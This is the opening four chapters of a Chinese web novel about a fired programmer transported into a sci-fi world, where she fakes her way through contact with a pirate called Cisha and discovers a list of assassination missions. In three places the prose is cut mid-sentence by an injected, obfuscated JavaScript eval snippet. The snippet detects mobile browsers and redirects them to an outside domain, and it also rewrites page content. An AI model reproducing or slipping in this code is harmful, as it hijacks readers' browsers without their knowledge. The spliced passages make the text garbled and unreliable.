《传说有位星际公敌》 1. 第 1 章 孟雨微睁开眼。 海风轻柔，晨光正从海平面上升起，今天又是个晴朗的好天气。 如果与她一墙之隔的地下室里，没有躺着具和她一模一样的尸体，就更好了。 一天前，孟雨微在海岛别墅的地下室中醒来。 当时的她头晕眼花，呼吸困难，浑身痛得像被刀片车碾过，差点以为自己栽到了仇家手里。 然后她猛地意识到，眼前的昏暗并不是因为仇家蒙住了她的眼睛，而是因为一个人压在她身上。 那是一名约莫十三四岁的白发少女，并不宽大的身影遮住了头顶大部分灯光。 孟雨微刚想说妹妹我们这个姿势是不是太暧昧了，却看清少女的表情狰狞而恐惧。 她顺着少女的视线望去，一把荧绿匕首深深地没入少女腹部，血液顺着剑刃滴落。 而孟雨微的手，就握在剑柄上。 “不……可能……” 少女的目光怨恨又隐约有些难过，从牙缝里挤出不甘的声音：“你……骗……” 她说着呕出一大口血，身体痉挛两下，向孟雨微压来。 妹妹，骗就骗了下辈子注意就好了，实在不行我道歉咱俩各退一步行吗？ 孟雨微有些崩溃，使劲握住匕首往上顶，帮助少女后退。同时她扭头向旁边挪动，然后蓦地止住了动作，距离她鼻尖不到一指长的地方，竟插着一把小刀！ 她差点就撞到了刀刃上！ 哪个缺德玩意儿乱扔管制刀具？ 孟雨微心中大骂，少女的脑袋却已重重地砸在了她的肩窝上，一只僵硬的手也从刀柄上垂落。 少女就是那个缺德玩意儿。 哈哈，缺德死了吧。 孟雨微心也死了。 小刀钉在她脑袋旁边，插的角度比她游戏队友残血逃跑时的走位还要直，少女刺刀时绝对下了死手。 ……等等，她近视怎么好了？ 孟雨微推开尸体，迅速从地上爬起来。 视野前所未有的清晰，眼前是一间监狱风的水泥房，没有窗，桌椅床马桶洗手台一应俱全，还有一架延伸向天花板的生锈楼梯。 她穿着公主裙，死去的少女则是一身作战服，她们有着一样的白绿渐变头发。 这什么？潮人白菜精决战地下室？ 她的仇家都是废物，想不出这么有创意的报复方式。 所以她这是魂穿了？ 领导曾让她一个月内做出和GPT一样的国产自主研发程序，相比之下，魂穿到杀人现场似乎很好理解。 孟雨微有些想笑：早不穿晚不穿，非要在她休假时找事。 她昨天刚被辞退，因为领导终于发现她做出的程序，是将GPT本地化部署并改了个名。 为了让业外朋友理解她干的坏事，孟雨微使用了通俗比喻句：总裁千金一掷让她找白月光的替身，最好有95%的相似度，她反手将白月光打晕，先弄失忆，再微整形，总算将白月光整得和原来有5%不像，然后将白月光挂上替身标签交了差。 然而和所有缠绵悱恻文学的总裁一样，总裁对白月光是叶公好龙，真正想要的是替身，让替身扮演白月光则是情趣。 在总裁领导看来，孟雨微领着寻找替身的高额工资，却干着让白月光假扮替身的简单工作，是偷奸耍滑，是工作量不饱和，是思想和能力有问题。 孟雨微自认工作认真负责，同事和实习生都很喜欢她，奈何因她入职第一天就准时下班，领导先入为主地认为她是刺头，而GPT事件是她压死领导的最后一根稻草。 领导觉得自身威严受到了挑战，势必要给她一点颜色看看，在孟雨微把他出轨的事做成特效华丽的PPT后，他的脸五光十色，颜色很多且好看。 最终，领导付了孟雨微双倍赔偿金，求她离职，也放过他。 孟雨微从不和钱过不去，当即放过了领导，但没放过领导家人。孟雨微收到赔偿金时，PPT和相关证据已经发送到了领导妻子的邮箱，附赠金牌律师的联系方式。 孟雨微自觉又做了件好事，她必须有好报。 说不定这正是老天奖励她的免费旅行。 不是也行。 来都来了，也走不了。她宽慰自己，探查起地下室，卫生环境糟糕，拆过的营养剂堆得到处都是。上面印着“帝国食品科学院出品”，应该是星际世界观。 她看得心痒，要不是有血迹，地下室照片很适合发网上起号。标题就叫：月薪三千住鼠窝，马桶床头柜成标配，穴居青年在排泄物旁吞咽理想，我们的帝国究竟怎么了？ 也不知道星际世界营销号收入怎么样，比起程序员，她更想当网红，但她高考分数太高学历太差，不符合招聘需求，至今仍是她的遗憾。 孟雨微农村出身，穷怕了，但原主似乎不差钱。 衣柜里的裙子有种昂贵的质感，和她身上的公主裙是一个风格，却与鼠窝格格不入。 原主应该在这里生活了很长一段时间。 原主为什么要住在地下室？是被关进来的吗？ 床褥的血迹很陈旧，难道原主有旧伤？ 她现在全身是伤，分不出伤口新旧。孟雨微索性不去管细枝末节，努力在脑内还原事发时的场景。 楼梯落了灰，唯一的脚印和少女的靴底吻合。崭新的靴印从上至下，说明不久前少女才从上面走下来。 她想杀地下室内的原主，两人展开了殊死搏斗，最后少女的实力更胜一筹，她压倒原主，并挥刀刺向原主脑袋，但没能扎中。 或许是因为原主闪避，又或许是因为少女腹部被刺伤。 可是，原主都被压着揍了，怎么可能在最后关头捞到武器，反击少女？ 孟雨微眉头一皱，迅速将尸体翻了个身，少女腹部的荧绿匕首不见了。 尸体大睁着眼，虹膜是罕见的紫色，有些诡异。 孟雨微拔出插在地板上的刀，利索地给少女补了两刀，伸手把她的眼睛合上。 少女的面容瞬间变得安详可爱，一看就是不会诈尸的好尸。 ……等等！ 她忽然意识到，抛开发色和瞳色，这不就是她学生时代的脸吗？ 孟雨微冲向洗手台，镜中的自己脸色极差，有着和死去少女一样的紫瞳白绿发。她满脸是血，表情拽得像二五八万，无疑就是她中学时的长相。 她的大脑飞速运转，死去的少女是谁？原主又是谁？她们是双胞胎吗？又因为什么原因厮杀？ 消失的匕首是什么东西？异能力？召唤物？还是—— 突兀的震动声在地下室响起，打断了孟雨微的思考。她循声找去，是少女手腕上的高科技感手环。 银白手环其貌不扬，摸上去温润如玉，是金钱的手感，让孟雨微忍不住想要拾金昧下。 她忍了忍，没忍住，顺从心意将手环摘下，不知按到了哪里，半透的荧蓝光幕在空气里展开，赤裸的身体占据了大半的全息屏幕。 肌肉流畅健美，疤痕狰狞交错，有着战士躯体的男人闭眼躺在医疗舱里。几条机械臂在给他处理伤口，汗水划过他凌厉野性的脸，他的呼吸声像农村老家的大狗般粗沉。 要不是没看到按钮，孟雨微真想给他点个免费的赞。 不知是擦边直播还是视频电话，谨慎起见，孟雨微无声地捧着它远离少女的尸体。 鼠窝的生活垃圾很多，她却如鹿蹚水般几下就蹲到了角落。这具身体似乎有锻炼基础，比她的程序员躯体灵活多了。 “狐人爱几把悬赏就悬，老子又不是第一次灭他们舰队。”轻蔑张扬的声音隔着设备传出，男人的牙像鲨鱼齿，每一颗都很尖锐。 他受的伤不轻，左侧机械臂被卸下，连接处血肉模糊，他却轻松享受地眯着眼。 “和平军和公务署还挂着我的追缉令，我不也过得挺舒服吗？” 孟雨微愣住了，男人提到的概念和星际小说《银河之星》一模一样，和平军和公务署分别是帝国和联邦的外交机构。 ——她不会穿进她最喜欢的网文了吧？ 孟雨微顿时五雷轰顶，这和她正在暧昧的帅哥美女忽然当她面挖鼻孔有什么区别？懂不懂距离产生美啊？原著干嘛入侵粉丝生活？ 她木在原地，屏幕那头似乎有人对男人讲了什么，男人不耐烦地回嘴：“别教我做事，要不是你们太废物，老大也不会把她交给我。机甲都不会开的蠢东西就该老实闭嘴待在龙骨号上，还是说你们连这么简单的事都办不到？” 龙骨号正是《银河之星》的著名战舰，刺鲨星盗团的主舰。 赤发鲨鱼牙，机械左臂，嫌弃狐人以及讲话粗鄙，孟雨微想起男人是谁了——原著反派， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588760|171782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五大星盗王之一的“赤王”刺鲨。 他有着「破坏」和「背叛」的恶名，简单来说，又装又缺德。 刺鲨曾是供人取乐的角斗场奴隶，本该屈辱地战死，是老大买下重伤的他，给了他义子般的待遇和生活。所有人都觉得他是一条忠心耿耿的好狗，直到他毫无征兆地露出獠牙，背叛杀死老大，并霸占这名老好人的基业。 疯犬弑主，震惊寰宇。 现在的刺鲨正在表演好狗摇尾巴。上一句还在骂废物，下一句他就变得恭敬又温驯：“老大，你放心，我拿我的命担保，一定会保护她，协助她，直到她顺利完成所有任务。” 他睁开眼，眼白渗满血丝，眼神却有如骑士般忠义。 孟雨微猝不及防与他四目相对。 “靠！”刺鲨神色错愕，反应极快地伸出完好左手，镜头上移，画面里只剩下锁骨以上的部位。孟雨微没得看了。 刺鲨啧了一声：“怎么是视频？” 问得好，孟雨微也想知道。 她没吭声，刺鲨的耳朵隐隐有些泛红，他语速飞快地说：“老大，我见到她了，有进展后再联系您。” 挂断另一头的通讯，刺鲨脸色瞬间沉了下来。幽绿眼眸划过一抹厉芒，他似笑非笑地说：“哟，小鬼，看得挺高兴啊。” 不就看了几眼，这么小气？ 孟雨微确实看得心情舒畅，所以宽容地没和他计较。 刺鲨应该是将她认成了少女，他刚才拿命担保的对象。 孟雨微笑眯眯：“如果你介意的话，我也可以装作不高兴。” 面对面谈话她还得注意别被刺鲨打死，但隔着屏幕谁不会装啊？ 她有病才会替少女执行任务，挂断通讯她就跑路，眼前免费的乐子不看白不看，套到信息就是她赚。 刺鲨眼眸绿幽幽地盯着她，像对峙的狼，忽然，他低声哂笑，桀骜的眉眼也舒展开来：“还行，你比那群废物有意思。” 不知道在高兴些什么，神经。 从他的话中，孟雨微推测出在“老大”安排他们接头之前，他们并不认识。 “不然呢？你觉得我应该是什么人？”孟雨微抛出问题。 “老大说你是重要的武器，能让我们星盗团名扬宇宙，甚至……”刺鲨顿了顿，神色流露出狂热，“辅佐他成为六域之主。” 六域之主，众王之王。 原著有五大星系，几乎被联邦或帝国管辖。六域全称为第六星域，即五大星系之外的灰色无主地带，是罪犯、流民和星盗的混乱摇篮。 干掉所有星盗王，统一六域之人，即为六域之主。 但是星盗王的诞生十分严苛，一旦称王，就相当于与全宇宙为敌，联邦、帝国、其他星盗王都会争先恐后地打过来。 这也是原著星盗王仅五位，但个个都是十分难对付的刺头的原因，每一位星盗王都是宇宙严选，打不死的大强。 少女要真能助人干掉这些大强，成为六域之主，怎么会死得这么草率？ 能信少女，老大和刺鲨的脑子应该都不是很正常，难怪能成主仆。 “虽然你的外表只是个小孩，但我看得出来，你绝不普通。”刺鲨咧嘴，露出一口森然的鲨鱼牙，“你有一双野兽般的眼睛。” 孟雨微没忍住乐了，她心想：要是你多年近视一夜治愈，你也会像我一样瞪眼睛玩的。 孟雨微兴致盎然：“这是夸奖吗？” “当然了，很多宇宙文明都有传闻说，紫色是魔鬼的颜色。”刺鲨赞叹，“你的眼睛让人很难忘。” “谢谢。你的肌肉也是。”她看了后都有力气再整个20页的乐子PPT了。 “嘴巴还挺快。”刺鲨笑了，医疗舱在替他接回机械臂，他疼得眉角抽搐，仍然是笑嘻嘻的，满头冷汗地指了指自己的脸，“我是不是打扰了你的好事？” 她现在满脸是血，又在微笑，恐怕刺鲨以为她是个刚杀完人的快乐精神病。 她讨薪的时候想过用这个人设恐吓无良资本家，但良知和存款劝她遵纪守法，最终只在脑子里排练过。 没想到魂穿后还能用上这么偏门的知识，果然天生我材必有用。 孟雨微当即入戏，她的大脑还没想出具体台词，嘴巴已经抢先一步：“对啊，你准备怎么赔偿我？” 啧，要钱要习惯了。 2. 第 2 章 她只设想过和秃顶大叔讨薪的场景，没预料到有朝一日会和纸片肌肉男视频。 她说话时，一阵金属与血肉纠缠声响起，刺鲨轻轻抽了口气，他的额发湿漉漉的，搞得孟雨微又想给他点赞了。 声音平息，刺鲨边转着左侧机械手腕，边有些新奇地看着她：“你在找我要东西？” “也可以不是东西。” “……你知道我是谁吗？” “刺鲨。” “对，对！我叫刺鲨。你叫什么名字？”刺鲨眼里有兴奋的神采，笑嘻嘻道，“老大有新任务要给你，接下来的行动我是你的搭档。老大让你隐藏身份，你得为自己起一个代号。” 上个班而已，这是在高兴什么？ 刺鲨……刺杀。 孟雨微毫不犹豫：“杖毙。” 刺鲨古怪地重复了一遍，显然是没理解她的对仗幽默感。 “怎么？”孟雨微心中警惕，随时准备扔掉手环跑路。 “听不懂，还难念。但应该挺酷的。”刺鲨目露赞赏，“其他人会很难通过代号联想到你。我们说不定能在接下来的任务中吓某些蠢货一跳。” 话题跑得太快，刺鲨这么一打岔，她暂时不能提赔偿的事了。 孟雨微顺着他的话：“哦？任务你有想法了？” “说什么呢？你是指挥，计划不该由你制定吗？”刺鲨凌乱红发下的眼睛锐利起来，“任务芯片只有你能读取，我没权限。我还想问你……” 他要问任务细节！ 孟雨微立马打断他：“所以你连任务都不知道是什么，就开始设想情况了。” 刺鲨有些意外地挑眉。 孟雨微快速夺回话语主导权：“我是指挥，任务我自有安排。你还有多久到？” 刺鲨嘴角抽了抽，不太情愿地回复：“……我正在往你的坐标跃迁，走正常航路要十六个小时。但我发现了一个快要消失的临时虫洞，能将时间缩减到八小时。我们很走运。” 幸运个屁。 刺鲨看上去跃跃欲试，也就是说留给孟雨微跑路的时间还没有她上一天班的时间长。 孟雨微绝对不能让他走近路，她说：“不用着急来见我，你先治疗，恢复到最佳状态再来坐标找我。” 刺鲨的神色忽地变得凶狠，躁郁的邪气覆盖他整张脸，他咬牙切齿地问：“你在让我偷懒？” “我在让你休息。”孟雨微不明白哪句话让刺鲨反应这么大，她的言辞天衣无缝，所以肯定是刺鲨脑子有病。 她的前半生遇到过太多傻子，她很擅长逗傻子玩。 孟雨微装作耐心地解释：“休息和偷懒并不是一个概念，良好的休息才能保持身体状态。” “我是阿瑞斯人，打几管药就能生龙活虎。”刺鲨的脸色好了些，他将镜头拉远，向孟雨微展示他的身体。 刚才这人还挺生气，现在又大方了，不知道在装什么。 不看白不看，孟雨微睁大眼睛，刺鲨的机械左臂接了回去。刚才还血肉模糊的伤口已经结痂了，甚至长出了粉色新肉。 阿瑞斯人是宇宙最骁勇善战的战斗种族，原著中主角团和反派团的头部战力都是阿瑞斯人。 知道是一回事，亲眼见到是另一回事。 刺鲨的恢复速度夸张得有些恶心。 刺鲨似乎是将她的神色误认成惊讶，得意地龇牙：“看见了吧？我不需要休息。” 他笑得很痞，但眼中布满血丝，呼吸也像老狗般紊乱，孟雨微不相信他不需要休息。 而且，他伤成这副鬼样，还得无缝衔接下一个任务，到底有什么好得意的？ 刺鲨状态怎样她不关心，孟雨微只想延缓他赶来的速度，她巴不得他身受重伤没法来找她。 她换了个说法：“临时虫洞是谁造的都不知道，你就敢进去？你不能出事拖我后腿，明白吗？” “明白明白——”刺鲨拉长音调，态度讽刺，“早这么说不就好了？你们指挥说话真难懂。我看上去像那群需要关心的弱鸡？” 呵呵，比起弱鸡，弱智更需要关心。 “是，你不需要关心，那你能来关心关心我吗？”孟雨微真诚道，“你乱拨通讯，坏了我的好事，让我心情很差，你到底赔不赔偿？” “……你受伤了？”刺鲨眉头紧锁。 “没错，都是因为你，我差点被杀。”孟雨微煞有介事，将镜头拉远，给他看自己满身的战斗痕迹。 刺鲨看得脸色青一阵红一阵，好半天才从牙缝里挤出话：“你想要什么？” 他不自然地移开目光，孟雨微农村老家的狗咬死鸡被发现后就这副低眉臊眼的委屈样。 孟雨微挺想让他转钱，助力她跑路，但现在形势不明，人情比钱值钱。 “先欠着吧。”孟雨微做出决定。 “行。”刺鲨没有深究，“你想好了告诉我。” 孟雨微又敷衍了几句，见没再套出信息，用一句“你去替我准备医疗箱和武器”，让刺鲨那边主动挂了通讯。 刺鲨被安排了活，他很满意。 孟雨微没暴露自己不会用个人终端，她也很满意。 她的好心情一直持续到她搜刮完少女尸体，带着剩下的营养剂走出地下室。 头顶是被搬空的别墅，别墅在海岛上，周围没有其他建筑，也没有交通工具。 她被困在海岛上了。 孟雨微强忍怒意，像只玩智能手机的大猩猩，把终端的功能摸索了一遍。然后烦躁发现刺鲨联系她用的是加密私网，这座岛没其他信号，所以她没法拨打救援电话。 破烂出生地让她的逃跑计划变成笑话，除了等刺鲨来接她，她没有别的离开办法。但一旦接头，她就很难从刺鲨老大安排的任务中抽身了。 她在原本世界已经工作吐了，穿越到书里还要上班的话，她真的会想杀人。 说干就干，孟雨微把从小到大惹过她的人在心里串成串，依次送上天堂。 黄昏时分，孟雨微正骂到原著论坛上人身攻击反派粉丝的人时，刺鲨到来了。 . 少女的终端里有毁尸灭迹教程，孟雨微计算时间，提前三个系统时进行了放火烧岛的实践。 流线型的星船划破天际降临时，岛上唯有温热余烬。 星船一眼看见了海滩上的孟雨微，它在空中鸟儿般回旋，然后悬停在沙与浪之间，如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588761|171782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血的霞光泼洒在它的金属表壳上。它比公交车还大一圈，长得像奥特曼里的飞行战机，机翼和炮口在尾部呈X形，科技感很足。 舷梯放了下来，刺鲨斜倚着舱门，走近他时，孟雨微闻到了浓郁的血腥气。 刺鲨的神色比光幕里的更疲倦，眼底一片倦怠的乌青。 孟雨微第一次见到穿好衣服的刺鲨，他的穿搭像死亡摇滚乐手，真是桀骜不驯、人模狗样，潮得她差点忘记他是个脑子不好的装货。 看到孟雨微，刺鲨有些意外地低头：“你这么小？” “我十三岁，和你差不了多少。”孟雨微翻过终端里的公民信息，她这具身体是帝国人，也叫孟雨微。 尽管刺鲨高挑健壮，脸庞凌厉，但能看出稚气未脱。 刺鲨轻慢地笑出声：“那怎么能一样？我都十九岁了。呃……你带了什么东西？” 孟雨微囤积症发作，用飞机安检行李减重的方式先套裤子再穿裙子，还往衣服夹缝里塞了许多食物和武器。剩下的衣服做了简易的包，将其余物品顺了回来。 此刻她全身挂着花花绿绿的大包小包，像一颗惨不忍睹的圣诞树。 “给你带的战利品，随便吃。”孟雨微将装营养剂的包甩给刺鲨，抬脚往舱内走去。 刺鲨抱着营养剂包，愣了一下。 船内的结构精密，除了驾驶舱，船上还配备了厕所和冰柜。 科幻作品里才能见到的情景，化作了现实。 孟雨微在心里连连惊叹：要是卖破烂，这得多少钱啊。 尽管努力克制情绪，她的炙热目光还是被刺鲨看了出来。他嘴里叼着两根抹茶味营养剂，连包装一起嚼烂吞掉：“你第一次坐船？” 看见他吃包装袋，孟雨微眼皮直突：“你第一次吃营养剂？” “怎么老呛我，我惹你了……？”刺鲨说着声音变小了，应该是想起差点害死她的事。 他脸和耳朵又红了，尴尬地向她递来一枚芯片：“老大让我亲手交给你，他说里面补充了任务细节，你先看。你要的医疗箱和武器在座位旁边。” 怎么全是她的活？ 孟雨微接过芯片：“你还有别的事吗？” “金来的狗腿之前黏我黏得太紧，我忙着揍这群孙子，还没来得及向老大汇报。我得先和老大视频，然后我们去执行任务。” 他要写日报，孟雨微平衡了。 工作状态的刺鲨条理还挺清晰。 金来，五大星盗王之一的“太阳王”。她是一名狐人，就像阿瑞斯人是最会战斗的种族，狐人是最阴险狡诈且没有道德观的种族，他们在宇宙中臭名昭著，许多法律是在狐人的挑战下不断改进的。 原著中的赤王对狐人格杀勿论，他和金来是死对头，没想到梁子这么早就结下了。 可惜，金来聪明地选择了男主阵营，与金来为敌的刺鲨自然是被男主踏平的反派。 “你看着办，祝你和金来打得开心。”孟雨微同情地提起医疗箱，“我去处理一下，有事叫我。” 刺鲨要和老大视频汇报，他十九岁，正是好糊弄的年纪。但老大可能认识少女，她没有瞒过这人的把握，还是避开不见为好。 3. 第 3 章 关上厕所门，孟雨微检查了一遍没有摄像头，才放心地读取任务芯片。她本以为会有密码，但终端内圈只是像运动手环那样抓着她皮肤，轻微电流窜过，光幕显示她基因认证通过。 她与手环的原主人是双胞胎，孟雨微不意外。 她点开压缩包里第一顺位的文件，文字浮现。 【1、潜入诺亚星，监视钟仪景及其身边人，与其他成员一起瓦解诺亚星的防御系统。如有可能，直接杀死钟仪景。】 后面贴心地附上了任务目标的详细资料。 脚底轻颤，星船已经启动了。失重感中，她的灵魂仿佛和星船一起升上了太空。 她感觉乐子大了。 钟仪景是她最喜欢的角色，《银河之星》的头号反派，弑父灭亲登基的帝国皇帝，在五大星系享有“暴君”的骂名。 照片是偷拍视角，少年约莫十四五岁，笑意温和，黑眸深沉，墨发柔顺的没有一丝锐意。他捧着本书，站在光与影交错的长廊里，像一幅寂静的描摹黑夜的古典宗教画。 不是原著写的血瞳，但她的直觉告诉她，这就是他。 任务让她接近钟仪景获取信任，配合星盗里应外合瓦解诺亚星的防御…… 死掉的少女居然是“焚星事变”的参与者！ 焚星事变是钟仪景人生开始发烂发臭的转折点，原著给的笔墨并不多。 简单来说，大反派钟仪景曾是个正常的天才少年，是普通四口之家的长子。但私生皇子身份暴露，招来仇家，星盗入侵他所在的诺亚星，让他家破人亡，众叛亲离。 然后帝国一发歼星炮，把星盗一窝端了，也把自家星球炸了，“焚星”一词由此而来。 获救的钟仪景被带回皇室，但他无权无势，身体也已残缺得开不了机甲。作为不受重视的废物私生子，被皇室变态们虐身虐心。 最终，他血洗皇宫，杀了所有血脉相连之人，一路黑化到底。 刺鲨所在的星盗团居然是焚星事变参与者，也难怪原著没什么他们的剧情。如果歼星炮没能团灭他们，钟仪景一定会斩草除根。 钟仪景这人别的不提，让人永远从世界上消失的本事是真一绝。 孟雨微继续翻文件，忽然，她指尖一顿。 【2、杀死给你芯片的刺鲨。】 她低声笑起来，太有意思了。 原来老大不是蒙在鼓里的待宰羔羊，他将鏖战多日、疲惫虚弱的刺鲨送到了少女手里。老大准备完全，但出现了孟雨微这个变数。 挺倒霉的一个人，以后离他远点，她怕霉运会传染。 孟雨微边嘲笑，边点开文件夹末尾的任务文档。 【3、作为诺亚星学生代表，面见刺杀帝国文教大臣（附件：此人资料与任务细节）。】 【4、杀死孟雨微。】 四条任务，四条全是杀人。 她后悔了，她再也不说上班上得想杀人这种疯话了，她其实也没那么想把爱好当工作。 内阁是皇帝的秘书团，内阁成员仅有八位，这位文教大臣在帝国可谓一人之下八人之中万人之上。 又是让她杀帝国未来暴君，又是暗杀帝国重臣。难道她要抢走原著男主毁灭帝国的重任吗？ 那原著就没东西能写了。 文教大臣是原著路人，结局不明，但刺鲨和钟仪景这两个反派都活得很精彩。 从时间线倒推，少女有关他们二人的任务必然失败。 少女应该是从最后一条杀死孟雨微的任务做起的，也就是刺杀原主。 原主疑似是真正的孟雨微，而少女抢走了原主的身份。这二人都是原著不曾涉及的炮灰，身负重任却神秘蒸发，孟雨微对她们一无所知。 她有些心痒，她很喜欢拼凑碎片、解开谜团的感觉，更何况这是她喜欢的世界，还有她喜欢的大反派。 她的光幕长久停留在钟仪景页面，不愧是未来蛊惑人心的暴君，光是脸就很有杀伤力。 但是她不能沉迷，她需要回家，原本的世界还有人在等她。 星船猛烈晃动了一下，她的手腕撞到了墙壁，终端自动关闭了光幕。 “杖毙，金来的狗腿们打过来了！”刺鲨的声音隔着门板传来。 孟雨微愣了下，才反应过来杖毙是她现在的代号。 老大让少女杀死刺鲨，和她穿书的孟雨微有什么关系？ 孟雨微推开门冲出去。剧烈晃动中，舷窗外的无垠宇宙倒映进她眼眸，数架金棕色星船环绕他们，从炮口宣泄而出的激光射线犹如一簇簇烟花，争先恐后朝他们涌来。 他们被包围了！ 刺鲨驾驶星船左右避让，不时回对面一梭子，被炮火燎到的敌船在黑暗中炸成光点，如燃烧的蜻蜓向下坠落。 孟雨微脑浆快被摇匀了，她冲刺抱住副驾驶，将自己固定到座位上。 主驾驶的刺鲨额角青筋暴起，他已经放弃了光幕遥控，换用实体操作台。机械在刺鲨手中发出不堪重负的声音，但他们这架星船吐出来的炮火与对面相比，像溪流与大江大河的差距。 天杀的，火力怎么好像不太足。 她看了眼操作面板显示的炮口子弹量图标，空白占据了五分之四，也就是说他们火力还剩下五分之一。 孟雨微在炮火声中吼道：“你炮弹留着当陪葬品呢？” 刺鲨不是智慧型角色，他的风格是破坏，他天生就是摧毁敌人意志的战斗机器，在绝对的实力面前一切都是多余。除了男主没人想招惹赤王，因为他是个不要命的疯子。 还没成赤王的刺鲨也是刺鲨，她不怀疑刺鲨会害怕，也不担心他会输。 但这一切建立在火力充足的前提上。 “来接你前炮就用得差不多了！平常这情况我都冲上去打近战，船坏了就抢他们船。”刺鲨面色很差，双手在操作台上纷飞，“但你还在船上！我近战个屁啊？我答应过老大要保护你的安全！” 孟雨微愣住了，这是她完全没想到的理由。 什么时候了还不忘记演忠犬？ 她火气被激起来了，嘴比脑袋更快：“别转移话题，不是让你补完状态再来吗？” 刺鲨不说话了。 又有几艘敌船被击落，但新的很快就补了上来，金棕色战船仿佛源源不断。 “是！我是蠢货，我当时以为我把他们甩开了，没想到这群臭虫和屎一样黏！”刺鲨咬牙，狂躁不已，“现在怎么办？” “你问我啊？”孟雨微眼睛亮得惊人。 原著男主数次死里逃生的剧情她记得滚瓜烂熟，但刺鲨不一定会照她说的赌。他一直在顶嘴，并不是真心服她。 她不需要不听话的队友。 孟雨微讽刺地笑了：“让你先补状态，别急着过来，你把我的话当屁放了，现在出事了想找指挥擦屁股了？” 刺鲨猛地扭头看她，激光炮掠过舷窗，瞬间照亮他们两人的脸。 “你骂得对，我是傻逼。”刺鲨脸色几度变化，他率先移开视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588762|171782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“我会执行你的所有命令。” 他说得无比郑重，孟雨微没想到刺鲨会认怂，她都准备偷袭他抢驾驶权，然后独自跑路了。 难道是因为刺鲨设定慕强？ 孟雨微继续强势：“你的雷达图上有不稳定虫洞吧？直接开，死了我负责。” 刺鲨怔住，然后朗声大笑，鲨鱼牙弧光尖锐：“你是个疯子！太棒了！” “以后多的是机会夸我，现在安静开船！” . 不稳定虫洞内部的能量平衡岌岌可危，随时有崩溃风险，闯入的外物本身就是能量，它会破坏不稳定虫洞的脆弱平衡。 更别提现在船都快被轰散架了，他们的星船比不稳定虫洞还要脆弱。 他们或许会被引力撕碎，或许会被时间戏弄，离开虫洞时发现外界过了百年，又或者被它丢到危险的出口，比如帝国的军事基地，露头就会被扫射。 但刺鲨执行了孟雨微的命令，剩下的五分之一炮弹如同不要钱一样在空中乱洒。 金棕色敌船被同归于尽的架势吓到，纷纷散开，弹幕如雨水倾泻。 刺鲨张开防护罩，向对方蓄力中的笨重大船撞去，然而在即将撞上时，刺鲨拉动推进器，能源疯狂燃烧，星船前端艰难抬起。 金属剐蹭声、散架声，火花四溅，两架星船金属血肉互相穿插，最终，他们如火箭一般直直地升上高空。 星船一边飞一边往后掉部件，宛如解体。刺鲨大方地扔掉了全部负重，追上来的星船躲闪不及，被砸中爆炸，借助爆炸的气浪，他们弹射得更远。 孟雨微贴紧座位，肾上腺素飙升，她快吐了。 “再见，废物们！”刺鲨畅快大笑。 他们仿佛乘坐着蛋壳，搅进了引力的漩涡之中。如同忽然被水淹没，孟雨微耳膜鼓胀，什么都听不到了。 这就是不稳定虫洞。 压力几乎要将她碾碎，她难以呼吸，通过裂纹蔓延的舷窗，她看见他们的星船在燃烧，紧接着燃烧变得扭曲。就像是水面上的彩色油膜，她虹膜捕捉到的画面光怪陆离而不可理解，彩色的隧道尽头出现了一颗模糊的浅黄星球。 船内的人工重力场陡然失效，孟雨微被摔了出去，眼前天旋地转，她看见刺鲨挣脱驾驶座向她游来。 他在颠簸中护住她，他全身肌肉和骨头都硬邦邦的，机械臂硌得她难受。 寂静真空中，一只手臂长的鲨鱼凭空出现，它像胶质果冻，泛着荧红的光芒，它看了眼孟雨微，扭身钻入刺鲨的脊椎。刺鲨的皮肤忽然变得充满弹性与张力，很滑。 孟雨微想起来那把消失的荧绿匕首。 失去意识的前一秒，孟雨微无声地念出了它们共同的名字—— 精神体。 . 在剧痛与昏沉中，孟雨微回忆起了在地下室醒来前的事。 她做了个梦，梦里的她好像要去见很重要的人，不能迟到，不能失约。 但大街水泄不通。人群的身影堵住了孟雨微的方向，人群的声音盖过了孟雨微的呼喊，人群是潮水，潮水把她淹没。 孟雨微像无法破茧的虫子般愤怒而急切，她想要有通天伟力，让她摩西分海般斩出一条路。 我能做到，我必须做到，我要去…… 孟雨微伸出手，坚定而果决地朝前方挥去—— “扑哧。” 梦境破碎，她睁开眼，一把荧绿的匕首没入了少女的腹部，少女白发紫眸，长着和她一样的脸。 4. 第 4 章 “嘶……” 孟雨微艰难地睁开眼，她浑身疼痛，口鼻满是血腥气，身体像被放进滚筒洗衣机里大力摇了三天三夜，脑浆和胃液搅得很均匀。 她干呕了几下，没吐出东西，反而吃了一嘴沙子。 